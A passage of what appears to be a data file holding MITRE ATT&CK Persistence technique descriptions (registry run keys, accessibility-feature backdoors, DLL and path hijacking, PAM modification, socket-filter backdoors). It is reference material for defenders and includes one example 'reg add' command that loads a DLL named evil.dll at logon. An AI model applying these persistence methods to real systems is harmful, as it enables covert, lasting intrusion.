compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).\nT1084 | Windows Management Instrumentation Event Subscription | Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1067 | Bootkit | A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\nT1062 | Hypervisor | **This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\nT1060 | Registry Run Keys / Startup Folder | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1058 | Service Registry Permissions Weakness | Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)\nT1053 | Scheduled Task/Job | Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)\nT1050 | New Service | When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).\nT1044 | File System Permissions Weakness | Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\nT1042 | Change Default File Association | When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)\nT1038 | DLL Search Order Hijacking | Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1037 | Boot or Logon Initialization Scripts | Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.\nT1034 | Path Interception | **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\nT1031 | Modify Existing Service | Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)\nT1023 | Shortcut Modification | Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\nT1019 | System Firmware | The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\nT1015 | Accessibility Features | Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe\nT1013 | Port Monitors | A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\nT1004 | Winlogon Helper DLL | Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence." + "source": "# Persistence\nThe adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1053.005 | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \nT1205.002 | Socket Filters | Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nT1037 | Boot or Logon Initialization Scripts | Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.\nT1556.003 | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)\nT1574.007 | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\nT1546.013 | PowerShell Profile | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\nT1543 | Create or Modify System Process | Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) \nT1133 | External Remote Services | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\nT1546.006 | LC_LOAD_DYLIB Addition | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries 